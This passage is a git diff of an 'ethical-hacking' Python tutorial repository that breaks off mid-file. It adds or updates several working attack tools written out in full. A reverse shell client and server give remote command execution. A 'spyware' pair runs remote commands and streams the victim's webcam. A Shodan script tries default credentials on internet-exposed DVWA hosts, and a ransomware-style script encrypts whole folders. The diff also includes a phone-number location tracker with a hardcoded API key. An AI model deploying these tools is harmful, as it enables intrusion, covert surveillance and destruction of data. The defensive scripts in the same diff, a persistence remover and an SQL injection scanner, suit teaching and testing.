print(f"{Fore.GREEN}[+] Region: {location}") + else: + print(f"{Fore.RED}[-] Region: Unknown") + + '''Get the service provider (carrier) and display it if available. Some businesses and + organizations do not use public service providers. So you may not see the carrier in that case.''' + + if carrier.name_for_number(parsed_number, 'en'): + print(f"{Fore.GREEN}[+] Service Provider: {carrier.name_for_number(parsed_number, 'en')}") + else: + pass + + # Handle exceptions, such as invalid phone numbers or connectivity issues. + except Exception: + print(f"{Fore.RED}[-] Please specify a valid phone number (with country code)" + " or check your internet connection.") + sys.exit() + +def get_approx_coordinates(): + # Import the OpenCageGeocode class from the opencage.geocoder module + from opencage.geocoder import OpenCageGeocode + + global coder, latitude, longitude + + # Try to execute the following block, and handle exceptions if they occur. + try: + # Create an instance of the OpenCageGeocode class with your API key. + coder = OpenCageGeocode("42c84373c47e490ba410d4132ae64fc4") + + query = location + + # Perform a geocoding query to obtain results. + results = coder.geocode(query) + + # Extract latitude and longitude from the geocoding results. These are the coordinates of the number's location. + latitude = results[0]['geometry']['lat'] + longitude = results[0]['geometry']['lng'] + + # Print the obtained latitude and longitude. + print(f"[+] Latitude: {latitude}, Longitude: {longitude}") + + # Perform a reverse geocoding query to obtain an address based on coordinates. + address = coder.reverse_geocode(latitude, longitude) + + # Check if an address was found. + if address: + address = address[0]['formatted'] + print(f"{Fore.LIGHTRED_EX}[+] Approximate Location is {address}") + else: + # If no address was found, print an error message. + print(f"{Fore.RED}[-] No address found for the given coordinates.") + except Exception: + '''Handle exceptions by printing an error message and exiting the script. This would prevent the program from + crashing''' + + print(f"{Fore.RED}[-] Could not get the location of this number. Please specify a valid phone number or " + "check your internet connection.") + sys.exit() + +# This function basically removes unwanted characters from the Phone number such as white spaces. +def clean_phone_number(phone_number): + cleaned = ''.join(char for part in phone_number for char in part if char.isdigit() or char == '+') + return cleaned or "unknown" + +# Function to see Aerial view of the person's location. +def draw_map(): + try: + # Create a Folium map centered around the latitude and longitude of the number's coordinates. + my_map = folium.Map(location=[latitude, longitude], zoom_start=9) + + # Add a marker to the map at the specified latitude and longitude with a popup displaying the 'location' variable. + folium.Marker([latitude, longitude], popup=location).add_to(my_map) + + ''' Clean the phone number and use it to generate a file name with an '.html' extension + we'll basically save each map with the number of the owner for easy identification.''' + + cleaned_phone_number = clean_phone_number(args.phone_number) # We'll see 'args' soon. + file_name = f"{cleaned_phone_number}.html" + + # Save the map as an HTML file with the generated file name. + my_map.save(file_name) + + # Print a message indicating where the saved HTML file can be found. + print(f"[+] See Aerial Coverage at: {os.path.abspath(file_name)}") + + # Handle the 'NameError' exception, which can occur if the 'latitude' or 'longitude' variables are not defined. + except NameError: + print(f"{Fore.RED}[-] Could not get Aerial coverage for this number. Please check the number again.") + + +# Function to handle command-line arguments. +def cli_argument(): + # Create an ArgumentParser object and specify a description. + parser = argparse.ArgumentParser(description="Get approximate location of a Phone number.") + + # Define a command-line argument: -p or --phone. This is to receive the user's number from terminal. + parser.add_argument("-p", "--phone", dest="phone_number", type=str, + help="Phone number to track. Please include the country code when specifying the number.", + required=True, nargs="+") + + # Parse the command-line arguments. + argument = parser.parse_args() + + # Check if the 'phone_number' argument is not provided. + if not argument.phone_number: + # Print an error message indicating that the phone number is required. + print(f"{Fore.RED}[-] Please specify the phone number to track (including country code)." + " Use --help to see usage.") + + # Exit the script. + sys.exit() + + # Return the parsed command-line arguments. + return argument + +# Parse command-line arguments using the 'cli_argument' function. +args = cli_argument() + +# Call the process_number function and pass the phone number as a single string. +process_number("".join(args.phone_number)) +get_approx_coordinates() +draw_map() + + diff --git a/ethical-hacking/phone-number-tracker/requirements.txt b/ethical-hacking/phone-number-tracker/requirements.txt new file mode 100644 index 00000000..b1598993 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/requirements.txt @@ -0,0 +1,4 @@ +phonenumbers +folium +colorama +opencage \ No newline at end of file diff --git a/ethical-hacking/ransomware/README.md b/ethical-hacking/ransomware/README.md new file mode 100644 index 00000000..ac824057 --- /dev/null +++ b/ethical-hacking/ransomware/README.md @@ -0,0 +1 @@ +# [How to Make a Ransomware in Python](https://www.thepythoncode.com/article/make-a-ransomware-in-python) \ No newline at end of file diff --git a/ethical-hacking/ransomware/ransomware.py b/ethical-hacking/ransomware/ransomware.py new file mode 100644 index 00000000..e1584c2f --- /dev/null +++ b/ethical-hacking/ransomware/ransomware.py @@ -0,0 +1,143 @@ +import pathlib +import secrets +import os +import base64 +import getpass + +import cryptography +from cryptography.fernet import Fernet +from cryptography.hazmat.primitives.kdf.scrypt import Scrypt + + +def generate_salt(size=16): + """Generate the salt used for key derivation, + `size` is the length of the salt to generate""" + return secrets.token_bytes(size) + + +def derive_key(salt, password): + """Derive the key from the `password` using the passed `salt`""" + kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1) + return kdf.derive(password.encode()) + + +def load_salt(): + # load salt from salt.salt file + return open("salt.salt", "rb").read() + + +def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True): + """Generates a key from a `password` and the salt. + If `load_existing_salt` is True, it'll load the salt from a file + in the current directory called "salt.salt". + If `save_salt` is True, then it will generate a new salt + and save it to "salt.salt" """ + if load_existing_salt: + # load existing salt + salt = load_salt() + elif save_salt: + # generate new salt and save it + salt = generate_salt(salt_size) + with open("salt.salt", "wb") as salt_file: + salt_file.write(salt) + # generate the key from the salt and the password + derived_key = derive_key(salt, password) + # encode it using Base 64 and return it + return base64.urlsafe_b64encode(derived_key) + + +def encrypt(filename, key): + """Given a filename (str) and key (bytes), it encrypts the file and write it""" + f = Fernet(key) + with open(filename, "rb") as file: + # read all file data + file_data = file.read() + # encrypt data + encrypted_data = f.encrypt(file_data) + # write the encrypted file + with open(filename, "wb") as file: + file.write(encrypted_data) + + +def encrypt_folder(foldername, key): + # if it's a folder, encrypt the entire folder (i.e all the containing files) + for child in pathlib.Path(foldername).glob("*"): + if child.is_file(): + print(f"[*] Encrypting {child}") + # encrypt the file + encrypt(child, key) + elif child.is_dir(): + # if it's a folder, encrypt the entire folder by calling this function recursively + encrypt_folder(child, key) + + +def decrypt(filename, key): + """Given a filename (str) and key (bytes), it decrypts the file and write it""" + f = Fernet(key) + with open(filename, "rb") as file: + # read the encrypted data + encrypted_data = file.read() + # decrypt data + try: + decrypted_data = f.decrypt(encrypted_data) + except cryptography.fernet.InvalidToken: + print("[!] Invalid token, most likely the password is incorrect") + return + # write the original file + with open(filename, "wb") as file: + file.write(decrypted_data) + + +def decrypt_folder(foldername, key): + # if it's a folder, decrypt the entire folder + for child in pathlib.Path(foldername).glob("*"): + if child.is_file(): + print(f"[*] Decrypting {child}") + # decrypt the file + decrypt(child, key) + elif child.is_dir(): + # if it's a folder, decrypt the entire folder by calling this function recursively + decrypt_folder(child, key) + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="File Encryptor Script with a Password") + parser.add_argument("path", help="Path to encrypt/decrypt, can be a file or an entire folder") + parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated", + type=int) + parser.add_argument("-e", "--encrypt", action="https://github.com/store_true", + help="Whether to encrypt the file/folder, only -e or -d can be specified.") + parser.add_argument("-d", "--decrypt", action="https://github.com/store_true", + help="Whether to decrypt the file/folder, only -e or -d can be specified.") + # parse the arguments + args = parser.parse_args() + # get the password + if args.encrypt: + password = getpass.getpass("Enter the password for encryption: ") + elif args.decrypt: + password = getpass.getpass("Enter the password you used for encryption: ") + # generate the key + if args.salt_size: + key = generate_key(password, salt_size=args.salt_size, save_salt=True) + else: + key = generate_key(password, load_existing_salt=True) + # get the encrypt and decrypt flags + encrypt_ = args.encrypt + decrypt_ = args.decrypt + # check if both encrypt and decrypt are specified + if encrypt_ and decrypt_: + raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") + elif encrypt_: + if os.path.isfile(args.path): + # if it is a file, encrypt it + encrypt(args.path, key) + elif os.path.isdir(args.path): + encrypt_folder(args.path, key) + elif decrypt_: + if os.path.isfile(args.path): + decrypt(args.path, key) + elif os.path.isdir(args.path): + decrypt_folder(args.path, key) + else: + raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") \ No newline at end of file diff --git a/ethical-hacking/ransomware/requirements.txt b/ethical-hacking/ransomware/requirements.txt new file mode 100644 index 00000000..488c3aab --- /dev/null +++ b/ethical-hacking/ransomware/requirements.txt @@ -0,0 +1 @@ +cryptography \ No newline at end of file diff --git a/ethical-hacking/remove-persistent-malware/README.md b/ethical-hacking/remove-persistent-malware/README.md new file mode 100644 index 00000000..6145b698 --- /dev/null +++ b/ethical-hacking/remove-persistent-malware/README.md @@ -0,0 +1 @@ +# [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python) \ No newline at end of file diff --git a/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py new file mode 100644 index 00000000..88ba4f7e --- /dev/null +++ b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py @@ -0,0 +1,118 @@ +import os +import platform +import subprocess +import tempfile + +# Windows-specific imports +if platform.system() == "Windows": + import winreg + +# Get Windows start-up entries and display +def list_windows_startup_entries(): + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run") + entries = [] + try: + i = 0 + while True: + entry_name, entry_value, entry_type = winreg.EnumValue(key, i) + entries.append((i + 1, entry_name, entry_value)) + i += 1 + except OSError: + pass + winreg.CloseKey(key) + return entries + +# Remove Windows start-up entries +def remove_windows_startup_entry(index, entries): + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE) + try: + entry_name, entry_value = entries[index - 1][1], entries[index - 1][2] + winreg.DeleteValue(key, entry_name) + print(f"[+] Entry {entry_name} has been removed successfully.") + + if os.path.isfile(entry_value): + os.remove(entry_value) + print(f"[+] File '{entry_value}' has been deleted successfully.") + else: + print(f"[-] File '{entry_value}' not found or unable to delete.") + except IndexError: + print("[-] Invalid entry index.") + except OSError as e: + print(f"[-] Error removing entry: {e}") + finally: + winreg.CloseKey(key) + +# Get the cron tab entries +def list_linux_crontab_entries(): + try: + output = subprocess.check_output(["crontab", "-l"], stderr=subprocess.STDOUT).decode('utf-8').strip() + if output: + entries = output.split("\n") + return [(i + 1, entry) for i, entry in enumerate(entries)] + else: + return [] + except subprocess.CalledProcessError as e: + if "no crontab" in e.output.decode('utf-8'): + return [] + else: + raise + +def remove_linux_crontab_entry(index, entries): + try: + entry = entries[index - 1][1] + all_entries = [e[1] for e in entries if e[1] != entry] + + with tempfile.NamedTemporaryFile(delete=False) as tmp_file: + tmp_file.write("\n".join(all_entries).encode('utf-8')) + tmp_file.write(b"\n") + tmp_file_path = tmp_file.name + + subprocess.check_output(["crontab", tmp_file_path], stderr=subprocess.STDOUT) + os.unlink(tmp_file_path) + print(f"[+] Entry '{entry}' has been removed successfully.") + except IndexError: + print("[-] Invalid entry index.") + except Exception as e: + print(f"[-] Error removing crontab entry: {e}") + +def main(): + os_name = platform.system() + if os_name == "Windows": + entries = list_windows_startup_entries() + if not entries: + print("[-] No startup entries found.") + else: + print("[+] Startup entries:") + for index, name, value in entries: + print(f"{index}. {name}: {value}") + + print("\n") + choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): ")) + if choice == 0: + return + elif 0 < choice <= len(entries): + remove_windows_startup_entry(choice, entries) + else: + print("[-] Invalid choice.") + elif os_name == "Linux": + entries = list_linux_crontab_entries() + if not entries: + print("[-] No crontab entries found.") + else: + print("[+] Crontab entries:") + for index, entry in entries: + print(f"{index}. {entry}") + + print("\n") + choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): ")) + if choice == 0: + return + elif 0 < choice <= len(entries): + remove_linux_crontab_entry(choice, entries) + else: + print("[-] Invalid choice.") + else: + print(f"[-] Unsupported operating system: {os_name}") + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/reverse-dns-lookup/README.md b/ethical-hacking/reverse-dns-lookup/README.md new file mode 100644 index 00000000..e2aa69a3 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/README.md @@ -0,0 +1 @@ +# [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python) \ No newline at end of file diff --git a/ethical-hacking/reverse-dns-lookup/requirements.txt b/ethical-hacking/reverse-dns-lookup/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/ethical-hacking/reverse-dns-lookup/reverse_lookup.py b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py new file mode 100644 index 00000000..449f79d0 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py @@ -0,0 +1,69 @@ +# Import the necessary libraries +import argparse +import ipaddress +import socket +import requests + +API_KEY = "Your-Api-Key-Here" # Replace with your ViewDNS API key + +# Function to Check if IP address is valid. +def is_valid_ip(ip): + + try: + ipaddress.ip_address(ip) + return True + except ValueError: + return False + + +# Perform reverse look up. +def reverse_lookup(ip): + try: + domain = socket.gethostbyaddr(ip)[0] + return domain + except socket.herror: + return None + + +# Get websites on same server. +def get_websites_on_server(ip): + url = f"https://api.viewdns.info/reverseip/?host={ip}&apikey={API_KEY}&output=json" + response = requests.get(url) + if response.status_code == 200: + data = response.json() + if "response" in data and "domains" in data["response"]: + websites = data["response"]["domains"] + return websites + return [] + + +# Get user arguments and execute. +def main(): + parser = argparse.ArgumentParser(description="Perform IP reverse lookup.") + parser.add_argument("ips", nargs="+", help="IP address(es) to perform reverse lookup on.") + parser.add_argument("--all", "-a", action="https://github.com/store_true", help="Print all other websites on the same server.") + args = parser.parse_args() + + for ip in args.ips: + if not is_valid_ip(ip): + print(f"[-] Invalid IP address: {ip}") + continue + + domain = reverse_lookup(ip) + if domain: + print(f"[+] IP: {ip}, Domain: {domain}") + if args.all: + websites = get_websites_on_server(ip) + if websites: + print("\nOther websites on the same server:") + for website in websites: + print(f"[+] {website}") + print('\n') + else: + print("[-] No other websites found on the same server.") + else: + print(f"[-] No domain found for IP: {ip}") + + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/reverse_shell/README.md b/ethical-hacking/reverse_shell/README.md index 58d45da8..e4fbb983 100644 --- a/ethical-hacking/reverse_shell/README.md +++ b/ethical-hacking/reverse_shell/README.md @@ -12,22 +12,4 @@ You don't need to install anything. ``` python client.py 192.168.1.104 ``` - **Output:** - ``` - Server: Hello and Welcome - ``` -- The server will get notified once a client is connected, executing `dir` command on Windows remotely (in `server.py`): - ``` - 192.168.1.103:58428 Connected! - Enter the command you wanna execute:dir - Volume in drive E is DATA - Volume Serial Number is 644B-A12C - - Directory of E:\test - - 09/24/2019 02:15 PM . - 09/24/2019 02:15 PM .. - 0 File(s) 0 bytes - 2 Dir(s) 89,655,123,968 bytes free - Enter the command you wanna execute:exit - ``` +- The server will get notified once a client is connected. diff --git a/ethical-hacking/reverse_shell/client.py b/ethical-hacking/reverse_shell/client.py index a90a8e56..166978e9 100644 --- a/ethical-hacking/reverse_shell/client.py +++ b/ethical-hacking/reverse_shell/client.py @@ -1,29 +1,46 @@ import socket +import os import subprocess import sys SERVER_HOST = sys.argv[1] SERVER_PORT = 5003 -BUFFER_SIZE = 1024 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase +# separator string for sending 2 messages in one go +SEPARATOR = "" # create the socket object s = socket.socket() # connect to the server s.connect((SERVER_HOST, SERVER_PORT)) - -# receive the greeting message -message = s.recv(BUFFER_SIZE).decode() -print("Server:", message) +# get the current directory +cwd = os.getcwd() +s.send(cwd.encode()) while True: # receive the command from the server command = s.recv(BUFFER_SIZE).decode() + splited_command = command.split() if command.lower() == "exit": # if the command is exit, just break out of the loop break - # execute the command and retrieve the results - output = subprocess.getoutput(command) + if splited_command[0].lower() == "cd": + # cd command, change directory + try: + os.chdir(' '.join(splited_command[1:])) + except FileNotFoundError as e: + # if there is an error, set as the output + output = str(e) + else: + # if operation is successful, empty message + output = "" + else: + # execute the command and retrieve the results + output = subprocess.getoutput(command) + # get the current working directory as output + cwd = os.getcwd() # send the results back to the server - s.send(output.encode()) + message = f"{output}{SEPARATOR}{cwd}" + s.send(message.encode()) # close client connection s.close() \ No newline at end of file diff --git a/ethical-hacking/reverse_shell/server.py b/ethical-hacking/reverse_shell/server.py index b93d980a..e143aed2 100644 --- a/ethical-hacking/reverse_shell/server.py +++ b/ethical-hacking/reverse_shell/server.py @@ -2,8 +2,9 @@ SERVER_HOST = "0.0.0.0" SERVER_PORT = 5003 - -BUFFER_SIZE = 1024 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase +# separator string for sending 2 messages in one go +SEPARATOR = "" # create a socket object s = socket.socket() @@ -20,21 +21,27 @@ client_socket, client_address = s.accept() print(f"{client_address[0]}:{client_address[1]} Connected!") -# just sending a message, for demonstration purposes -message = "Hello and Welcome".encode() -client_socket.send(message) +# receiving the current working directory of the client +cwd = client_socket.recv(BUFFER_SIZE).decode() +print("[+] Current working directory:", cwd) while True: # get the command from prompt - command = input("Enter the command you wanna execute:") + command = input(f"{cwd} $> ") + if not command.strip(): + # empty command + continue # send the command to the client client_socket.send(command.encode()) if command.lower() == "exit": # if the command is exit, just break out of the loop break # retrieve command results - results = client_socket.recv(BUFFER_SIZE).decode() - # print them + output = client_socket.recv(BUFFER_SIZE).decode() + print("output:", output) + # split command output and current directory + results, cwd = output.split(SEPARATOR) + # print output print(results) # close connection to the client client_socket.close() diff --git a/ethical-hacking/shodan-api/README.md b/ethical-hacking/shodan-api/README.md new file mode 100644 index 00000000..973ce50b --- /dev/null +++ b/ethical-hacking/shodan-api/README.md @@ -0,0 +1,5 @@ +# [How to Use Shodan API in Python](https://www.thepythoncode.com/article/using-shodan-api-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Get Shodan API key and edit `shodan_api.py` API key and change on your needs. +- Run `shodan_api.py` \ No newline at end of file diff --git a/ethical-hacking/shodan-api/requirements.txt b/ethical-hacking/shodan-api/requirements.txt new file mode 100644 index 00000000..624d74cd --- /dev/null +++ b/ethical-hacking/shodan-api/requirements.txt @@ -0,0 +1,2 @@ +shodan +requests \ No newline at end of file diff --git a/ethical-hacking/shodan-api/shodan_api.py b/ethical-hacking/shodan-api/shodan_api.py new file mode 100644 index 00000000..81dae119 --- /dev/null +++ b/ethical-hacking/shodan-api/shodan_api.py @@ -0,0 +1,77 @@ +import shodan +import time +import requests +import re + +# your shodan API key +SHODAN_API_KEY = '' +api = shodan.Shodan(SHODAN_API_KEY) + +# requests a page of data from shodan +def request_page_from_shodan(query, page=1): + while True: + try: + instances = api.search(query, page=page) + return instances + except shodan.APIError as e: + print(f"Error: {e}") + time.sleep(5) + + +# Try the default credentials on a given instance of DVWA, simulating a real user trying the credentials +# visits the login.php page to get the CSRF token, and tries to login with admin:password +def has_valid_credentials(instance): + sess = requests.Session() + proto = ('ssl' in instance) and 'https' or 'http' + try: + res = sess.get(f"{proto}://{instance['ip_str']}:{instance['port']}/login.php", verify=False) + except requests.exceptions.ConnectionError: + return False + if res.status_code != 200: + print(f"[-] Got HTTP status code {res.status_code}, expected 200") + return False + # search the CSRF token using regex + token = re.search(r"user_token' value='([0-9a-f]+)'", res.text).group(1) + res = sess.post( + f"{proto}://{instance['ip_str']}:{instance['port']}/login.php", + f"username=admin&password=password&user_token={token}&Login=Login", + allow_redirects=False, + verify=False, + headers={'Content-Type': 'application/x-www-form-urlencoded'} + ) + if res.status_code == 302 and res.headers['Location'] == 'index.php': + # Redirects to index.php, we expect an authentication success + return True + else: + return False + +# Takes a page of results, and scans each of them, running has_valid_credentials +def process_page(page): + result = [] + for instance in page['matches']: + if has_valid_credentials(instance): + print(f"[+] valid credentials at : {instance['ip_str']}:{instance['port']}") + result.append(instance) + return result + +# searches on shodan using the given query, and iterates over each page of the results +def query_shodan(query): + print("[*] querying the first page") + first_page = request_page_from_shodan(query) + total = first_page['total'] + already_processed = len(first_page['matches']) + result = process_page(first_page) + page = 2 + while already_processed < total: + # break just in your testing, API queries have monthly limits + break + print("querying page {page}") + page = request_page_from_shodan(query, page=page) + already_processed += len(page['matches']) + result += process_page(page) + page += 1 + return result + +# search for DVWA instances +res = query_shodan('title:dvwa') +print(res) \ No newline at end of file diff --git a/ethical-hacking/spyware/README.md b/ethical-hacking/spyware/README.md new file mode 100644 index 00000000..9c2520c9 --- /dev/null +++ b/ethical-hacking/spyware/README.md @@ -0,0 +1 @@ +# [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python) \ No newline at end of file diff --git a/ethical-hacking/spyware/client.py b/ethical-hacking/spyware/client.py new file mode 100644 index 00000000..d36eca07 --- /dev/null +++ b/ethical-hacking/spyware/client.py @@ -0,0 +1,64 @@ +import socket # For network (client-server) communication. +import os # For handling os executions. +import subprocess # For executing system commands. +import cv2 # For recording the video. +import threading # For recording the video in a different thread. +import platform # We use this to get the os of the target (client). + +SERVER_HOST = "127.0.0.1" # Server's IP address +SERVER_PORT = 4000 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, you can adjust this. + +# Separator string for sending 2 messages at a time. +SEPARATOR = "" + +# Create the socket object. +s = socket.socket() +# Connect to the server. +s.connect((SERVER_HOST, SERVER_PORT)) + +# Get the current directory and os and send it to the server. +cwd = os.getcwd() +targets_os = platform.system() +s.send(cwd.encode()) +s.send(targets_os.encode()) + +# Function to record and send the video. +def record_video(): + global cap + cap = cv2.VideoCapture(0) + while True: + ret, frame = cap.read() + if not ret: + break + _, frame_bytes = cv2.imencode('.jpg', frame) + frame_size = len(frame_bytes) + s.sendall(frame_size.to_bytes(4, byteorder='little')) + s.sendall(frame_bytes) + cap.release() + cv2.destroyAllWindows() + +while True: + # receive the command from the server. + command = s.recv(BUFFER_SIZE).decode() + splited_command = command.split() + if command.lower() == "exit": + # if the command is exit, just break out of the loop. + break + elif command.lower() == "start": + # Start recording video in a separate thread + recording_thread = threading.Thread(target=record_video) + recording_thread.start() + output = "Video recording started." + print(output) + else: + # execute the command and retrieve the results. + output = subprocess.getoutput(command) + # get the current working directory as output. + cwd = os.getcwd() + # send the results back to the server. + message = f"{output}{SEPARATOR}{cwd}" + s.send(message.encode()) + +# close client connection. +s.close() \ No newline at end of file diff --git a/ethical-hacking/spyware/requirements.txt b/ethical-hacking/spyware/requirements.txt new file mode 100644 index 00000000..fc4586c8 --- /dev/null +++ b/ethical-hacking/spyware/requirements.txt @@ -0,0 +1,2 @@ +numpy +opencv-python \ No newline at end of file diff --git a/ethical-hacking/spyware/server_side.py b/ethical-hacking/spyware/server_side.py new file mode 100644 index 00000000..219e2319 --- /dev/null +++ b/ethical-hacking/spyware/server_side.py @@ -0,0 +1,115 @@ +import socket # For network (client-server) communication. +import cv2 # For video recording. +import signal # For handling the ctrl+c command when exiting the program. +import threading # For running the video recording in a seperate thread. +import numpy as np # For working with video frames. + + +# SERVER_HOST = "0.0.0.0" # Bind the server to all available network interfaces. +# or if you want to test it locally, use 127.0.0.1 +SERVER_HOST = "127.0.0.1" +SERVER_PORT = 4000 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages. You can adjust this to your taste + +# Separator string for sending 2 messages at a time +SEPARATOR = "" + +# Create the socket object. +s = socket.socket() +# Bind the socket to all IP addresses of this host. +s.bind((SERVER_HOST, SERVER_PORT)) +# Make the PORT reusable +s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +# Set maximum number of queued connections to 5. +s.listen(5) +print(f"Listening as {SERVER_HOST} on port {SERVER_PORT} ...") + +# Accept any connections attempted. +client_socket, client_address = s.accept() +print(f"{client_address[0]}:{client_address[1]} Connected!") + +# Receive the current working directory and os of the target (client). +cwd = client_socket.recv(BUFFER_SIZE).decode() +targets_os = client_socket.recv(BUFFER_SIZE).decode() + +# Print the info received. +print("[+] Current working directory: ", cwd) +print("[+] Target's Operating system: ", targets_os) + +# Set up the video capture and writer. +cap = None +out = None +recording_thread = None + +# Function to handle Ctrl+C signal. +def signal_handler(sig, frame): + print('Saving video and exiting...') + if recording_thread is not None: + recording_thread.join() + if cap is not None and out is not None: + cap.release() + out.release() + cv2.destroyAllWindows() + client_socket.close() + s.close() + exit(0) + +# Set up the signal handler. +signal.signal(signal.SIGINT, signal_handler) + +# Function to record and display the video. +def record_video(): + global out + fourcc = cv2.VideoWriter_fourcc(*'mp4v') + out = cv2.VideoWriter('output.mp4', fourcc, 30.0, (640, 480)) + while True: + # Receive the frame size. + frame_size = int.from_bytes(client_socket.recv(4), byteorder='little') + # Receive the frame data. + frame_data = b'' + while len(frame_data) < frame_size: + packet = client_socket.recv(min(BUFFER_SIZE, frame_size - len(frame_data))) + if not packet: + break + frame_data += packet + if not frame_data: + break + # Decode the frame. + frame = cv2.imdecode(np.frombuffer(frame_data, dtype=np.uint8), cv2.IMREAD_COLOR) + # Write the frame to the video file. + out.write(frame) + # Display the frame. + cv2.imshow('Remote Camera Feed', frame) + if cv2.waitKey(1) & 0xFF == ord('q'): + break + out.release() + client_socket.close() + cv2.destroyAllWindows() +while True: + # Get the command from the user. + command = input(f"{cwd} $> ") + if not command.strip(): + # Empty command. + continue + # Send the command to the client. + client_socket.send(command.encode()) + if command.lower() == "exit": + # If the command is exit, just break out of the loop. + break + elif command.lower() == "start": + # Start recording video in a separate thread. + recording_thread = threading.Thread(target=record_video) + recording_thread.start() + output = "Video recording started." + print(output) + else: + # Receive the results from the client. + output = client_socket.recv(BUFFER_SIZE).decode() + results, cwd = output.split(SEPARATOR) + print(results) + +# Close the connection to the client and server. +if recording_thread is not None: + recording_thread.join() +client_socket.close() +s.close() \ No newline at end of file diff --git a/ethical-hacking/sql-injection-detector/README.md b/ethical-hacking/sql-injection-detector/README.md new file mode 100644 index 00000000..cd795806 --- /dev/null +++ b/ethical-hacking/sql-injection-detector/README.md @@ -0,0 +1,12 @@ +# [How to Build a SQL Injection Scanner in Python](https://www.thepythoncode.com/code/sql-injection-vulnerability-detector-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Provide the URL in the command line arguments, as follows: + ``` + python sql_injection_detector.py http://testphp.vulnweb.com/artists.php?artist=1 + ``` + **Output:** + ``` + [!] Trying http://testphp.vulnweb.com/artists.php?artist=1" + [+] SQL Injection vulnerability detected, link: http://testphp.vulnweb.com/artists.php?artist=1" + ``` \ No newline at end of file diff --git a/ethical-hacking/sql-injection-detector/requirements.txt b/ethical-hacking/sql-injection-detector/requirements.txt new file mode 100644 index 00000000..1f311f5c --- /dev/null +++ b/ethical-hacking/sql-injection-detector/requirements.txt @@ -0,0 +1,2 @@ +requests +bs4 \ No newline at end of file diff --git a/ethical-hacking/sql-injection-detector/sql_injection_detector.py b/ethical-hacking/sql-injection-detector/sql_injection_detector.py new file mode 100644 index 00000000..3c60d4c8 --- /dev/null +++ b/ethical-hacking/sql-injection-detector/sql_injection_detector.py @@ -0,0 +1,127 @@ +import requests +# import re # uncomment this for DVWA +from bs4 import BeautifulSoup as bs +from urllib.parse import urljoin +from pprint import pprint + +s = requests.Session() +s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36" + +# below code is for logging to your local DVWA +# uncomment it if you want to use this on DVWA +# login_payload = { +# "username": "admin", +# "password": "password", +# "Login": "Login", +# } +# # change URL to the login page of your DVWA login URL +# login_url = "http://localhost:8080/DVWA-master/login.php" + +# # login +# r = s.get(login_url) +# token = re.search("user_token'\s*value='(.*?)'", r.text).group(1) +# login_payload['user_token'] = token +# s.post(login_url, data=login_payload) + + +def get_all_forms(url): + """Given a `url`, it returns all forms from the HTML content""" + soup = bs(s.get(url).content, "html.parser") + return soup.find_all("form") + + +def get_form_details(form): + """ + This function extracts all possible useful information about an HTML `form` + """ + details = {} + # get the form action (target url) + try: + action = form.attrs.get("action").lower() + except: + action = None + # get the form method (POST, GET, etc.) + method = form.attrs.get("method", "get").lower() + # get all the input details such as type and name + inputs = [] + for input_tag in form.find_all("input"): + input_type = input_tag.attrs.get("type", "text") + input_name = input_tag.attrs.get("name") + input_value = input_tag.attrs.get("value", "") + inputs.append({"type": input_type, "name": input_name, "value": input_value}) + # put everything to the resulting dictionary + details["action"] = action + details["method"] = method + details["inputs"] = inputs + return details + + +def is_vulnerable(response): + """A simple boolean function that determines whether a page + is SQL Injection vulnerable from its `response`""" + errors = { + # MySQL + "you have an error in your sql syntax;", + "warning: mysql", + # SQL Server + "unclosed quotation mark after the character string", + # Oracle + "quoted string not properly terminated", + } + for error in errors: + # if you find one of these errors, return True + if error in response.content.decode().lower(): + return True + # no error detected + return False + + +def scan_sql_injection(url): + # test on URL + for c in "\"'": + # add quote/double quote character to the URL + new_url = f"{url}{c}" + print("[!] Trying", new_url) + # make the HTTP request + res = s.get(new_url) + if is_vulnerable(res): + # SQL Injection detected on the URL itself, + # no need to preceed for extracting forms and submitting them + print("[+] SQL Injection vulnerability detected, link:", new_url) + return + # test on HTML forms + forms = get_all_forms(url) + print(f"[+] Detected {len(forms)} forms on {url}.") + for form in forms: + form_details = get_form_details(form) + for c in "\"'": + # the data body we want to submit + data = {} + for input_tag in form_details["inputs"]: + if input_tag["value"] or input_tag["type"] == "hidden": + # any input form that has some value or hidden, + # just use it in the form body + try: + data[input_tag["name"]] = input_tag["value"] + c + except: + pass + elif input_tag["type"] != "submit": + # all others except submit, use some junk data with special character + data[input_tag["name"]] = f"test{c}" + # join the url with the action (form request URL) + url = urljoin(url, form_details["action"]) + if form_details["method"] == "post": + res = 